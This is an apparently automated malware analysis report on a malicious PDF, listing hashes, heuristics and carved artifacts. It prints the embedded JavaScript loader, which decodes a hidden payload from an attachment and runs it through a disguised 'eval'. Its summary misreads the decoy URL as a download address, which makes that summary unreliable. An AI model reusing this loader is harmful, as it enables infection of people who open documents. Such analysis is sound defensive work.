Malicious PDF — malware analysis report

Static analysis result for SHA-256 0bd161296946329c…

MALICIOUS

PDF

5.1 KB First seen: 2015-09-17
MD5: 1af8d90d86c3b3ae629e1444b4e1f0af SHA-1: 5137c0a0df6b704cb80899a08d9feb3fe73c5e16 SHA-256: 0bd161296946329cd069a20d0b58c4b3085279fe21449ddce480734ea572c07a
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that attempts to reconstruct a URL and download a payload. The script concatenates 'http://e' and 'val/query?a=exemple&b=2' to form the full URL 'http://eval/query?a=exemple&b=2'. The ML classifier strongly indicates maliciousness, and the JavaScript action heuristic confirms the presence of executable code. The embedded file artifact suggests a dropped payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: 98720ebab90780a36ff548420b18401c3d1211d6f56084e8fd1583f496bf6f81
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'yFz9INilwZ6VeyFS1yFz9INilwZ6VeyFS2yFz9IN') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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